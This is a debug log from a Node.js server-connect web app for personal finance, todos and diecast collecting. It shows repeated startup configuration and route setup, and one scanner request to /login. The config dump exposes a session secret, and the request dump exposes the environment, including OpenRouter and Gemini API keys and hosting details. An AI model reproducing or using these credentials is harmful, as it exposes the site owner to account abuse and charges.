2026-07-11T11:10:18.838Z server-connect:setup:upload Upload middleware configured.
2026-07-11T11:10:18.838Z server-connect:secure CSRF Protection initialized
2026-07-11T11:10:18.850Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-11T11:10:18.852Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-11T11:10:18.857Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-11T11:10:18.862Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-11T11:10:18.874Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-11T11:10:18.879Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-11T11:10:18.897Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-11T11:10:18.914Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-11T11:10:18.923Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-11T11:10:18.926Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-11T11:10:18.932Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-11T11:10:18.940Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-11T11:10:18.948Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-11T11:10:18.961Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-11T11:10:18.970Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-11T11:10:19.047Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-11T11:10:19.049Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-11T11:10:19.059Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-11T11:10:19.067Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-11T11:10:19.073Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-11T11:10:19.077Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-11T11:10:19.096Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-11T11:10:19.104Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-11T11:10:19.114Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-11T11:10:19.118Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-11T11:10:19.124Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-11T11:10:19.128Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-11T11:10:19.141Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-11T11:10:19.154Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-11T11:10:19.159Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-11T11:10:19.163Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-11T11:10:19.168Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-11T11:10:19.175Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-11T11:10:19.178Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-11T11:10:19.187Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-11T11:10:19.192Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-11T11:10:19.196Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-11T11:10:19.210Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-11T11:30:17.113Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-11T11:30:17.293Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-11T11:30:17.392Z server-connect:setup:upload Upload middleware configured.
2026-07-11T11:30:17.393Z server-connect:secure CSRF Protection initialized
2026-07-11T11:30:17.396Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-11T11:30:17.397Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-11T11:30:17.397Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-11T11:30:17.398Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-11T11:30:17.399Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-11T11:30:17.400Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-11T11:30:17.403Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-11T11:30:17.404Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-11T11:30:17.405Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-11T11:30:17.406Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-11T11:30:17.409Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-11T11:30:17.410Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-11T11:30:17.410Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-11T11:30:17.411Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-11T11:30:17.411Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-11T11:30:17.412Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-11T11:30:17.413Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-11T11:30:17.413Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-11T11:30:17.414Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-11T11:30:17.414Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-11T11:30:17.415Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-11T11:30:17.415Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-11T11:30:17.416Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-11T11:30:17.416Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-11T11:30:17.417Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-11T11:30:17.417Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-11T11:30:17.417Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-11T11:30:17.418Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-11T11:30:17.418Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-11T11:30:17.418Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-11T11:30:17.419Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-11T11:30:17.419Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-11T11:30:17.419Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-11T11:30:17.420Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-11T11:30:17.420Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-11T11:30:17.420Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-11T11:30:17.421Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-11T11:30:17.421Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-11T17:04:25.569Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-11T17:04:27.831Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-11T17:04:28.695Z server-connect:setup:upload Upload middleware configured.
2026-07-11T17:04:28.695Z server-connect:secure CSRF Protection initialized
2026-07-11T17:04:28.701Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-11T17:04:28.701Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-11T17:04:28.704Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-11T17:04:28.708Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-11T17:04:28.714Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-11T17:04:28.719Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-11T17:04:28.734Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-11T17:04:28.749Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-11T17:04:28.750Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-11T17:04:28.750Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-11T17:04:28.753Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-11T17:04:28.756Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-11T17:04:28.763Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-11T17:04:28.772Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-11T17:04:28.776Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-11T17:04:28.784Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-11T17:04:28.785Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-11T17:04:28.789Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-11T17:04:28.795Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-11T17:04:28.799Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-11T17:04:28.801Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-11T17:04:28.810Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-11T17:04:28.810Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-11T17:04:28.817Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-11T17:04:28.820Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-11T17:04:28.824Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-11T17:04:28.824Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-11T17:04:28.828Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-11T17:04:28.833Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-11T17:04:28.835Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-11T17:04:28.841Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-11T17:04:28.842Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-11T17:04:28.842Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-11T17:04:28.845Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-11T17:04:28.850Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-11T17:04:28.854Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-11T17:04:28.857Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-11T17:04:28.866Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-11T17:04:29.355Z server-connect:router Serving templateView /
2026-07-11T17:04:29.358Z server-connect:app Executing action step identify
2026-07-11T17:04:29.358Z server-connect:app options: { provider: 'security' }
2026-07-11T17:04:29.360Z server-connect:auth No login cookie found
2026-07-11T17:04:29.360Z server-connect:output identity: false
2026-07-11T17:04:29.360Z server-connect:app Executing action step restrict
2026-07-11T17:04:29.360Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-11T17:04:29.364Z server-connect:output restrict: undefined
2026-07-11T17:04:29.472Z server-connect:router Serving templateView /login
2026-07-11T17:04:29.472Z server-connect:app Executing action step identify
2026-07-11T17:04:29.472Z server-connect:app options: { provider: 'security' }
2026-07-11T17:04:29.472Z server-connect:auth No login cookie found
2026-07-11T17:04:29.472Z server-connect:output identity: false
2026-07-11T17:04:29.472Z server-connect:router Render template layouts/authentication
2026-07-11T17:04:29.473Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.179',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-12T17:04:29.470Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.179',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.179',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-11T17:23:23.055Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-11T17:23:23.219Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-11T17:23:23.300Z server-connect:setup:upload Upload middleware configured.
2026-07-11T17:23:23.301Z server-connect:secure CSRF Protection initialized
2026-07-11T17:23:23.303Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-11T17:23:23.303Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-11T17:23:23.304Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-11T17:23:23.304Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-11T17:23:23.304Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-11T17:23:23.306Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-11T17:23:23.307Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-11T17:23:23.308Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-11T17:23:23.309Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-11T17:23:23.309Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-11T17:23:23.310Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-11T17:23:23.310Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-11T17:23:23.310Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-11T17:23:23.313Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-11T17:23:23.313Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-11T17:23:23.314Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-11T17:23:23.314Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-11T17:23:23.314Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-11T17:23:23.315Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-11T17:23:23.315Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-11T17:23:23.315Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-11T17:23:23.315Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-11T17:23:23.316Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-11T17:23:23.316Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-11T17:23:23.316Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-11T17:23:23.316Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-11T17:23:23.317Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-11T17:23:23.317Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-11T17:23:23.317Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-11T17:23:23.317Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-11T17:23:23.318Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-11T17:23:23.319Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-11T17:23:23.319Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-11T21:58:05.957Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-11T21:58:08.228Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-11T21:58:09.092Z server-connect:setup:upload Upload middleware configured.
2026-07-11T21:58:09.093Z server-connect:secure CSRF Protection initialized
2026-07-11T21:58:09.097Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-11T21:58:09.098Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-11T21:58:09.100Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-11T21:58:09.102Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-11T21:58:09.109Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-11T21:58:09.113Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-11T21:58:09.129Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-11T21:58:09.139Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-11T21:58:09.144Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-11T21:58:09.145Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-11T21:58:09.147Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-11T21:58:09.152Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-11T21:58:09.157Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-11T21:58:09.167Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-11T21:58:09.171Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-11T21:58:09.243Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-11T21:58:09.245Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-11T21:58:09.249Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-11T21:58:09.255Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-11T21:58:09.259Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-11T21:58:09.261Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-11T21:58:09.269Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-11T21:58:09.269Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-11T21:58:09.276Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-11T21:58:09.278Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-11T21:58:09.284Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-11T21:58:09.286Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-11T21:58:09.288Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-11T21:58:09.294Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-11T21:58:09.296Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-11T21:58:09.298Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-11T21:58:09.300Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-11T21:58:09.303Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-11T21:58:09.306Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-11T21:58:09.313Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-11T21:58:09.316Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-11T21:58:09.316Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-11T21:58:09.328Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-11T21:58:09.817Z server-connect:router Serving templateView /
2026-07-11T21:58:09.819Z server-connect:app Executing action step identify
2026-07-11T21:58:09.820Z server-connect:app options: { provider: 'security' }
2026-07-11T21:58:09.822Z server-connect:auth No login cookie found
2026-07-11T21:58:09.822Z server-connect:output identity: false
2026-07-11T21:58:09.822Z server-connect:app Executing action step restrict
2026-07-11T21:58:09.822Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-11T21:58:09.826Z server-connect:output restrict: undefined
2026-07-12T02:18:34.465Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-12T02:18:36.674Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-12T02:18:37.539Z server-connect:setup:upload Upload middleware configured.
2026-07-12T02:18:37.539Z server-connect:secure CSRF Protection initialized
2026-07-12T02:18:37.545Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-12T02:18:37.545Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-12T02:18:37.549Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-12T02:18:37.550Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-12T02:18:37.556Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-12T02:18:37.559Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-12T02:18:37.575Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-12T02:18:37.588Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-12T02:18:37.593Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-12T02:18:37.594Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-12T02:18:37.597Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-12T02:18:37.601Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-12T02:18:37.607Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-12T02:18:37.616Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-12T02:18:37.620Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-12T02:18:37.693Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-12T02:18:37.694Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-12T02:18:37.699Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-12T02:18:37.705Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-12T02:18:37.708Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-12T02:18:37.710Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
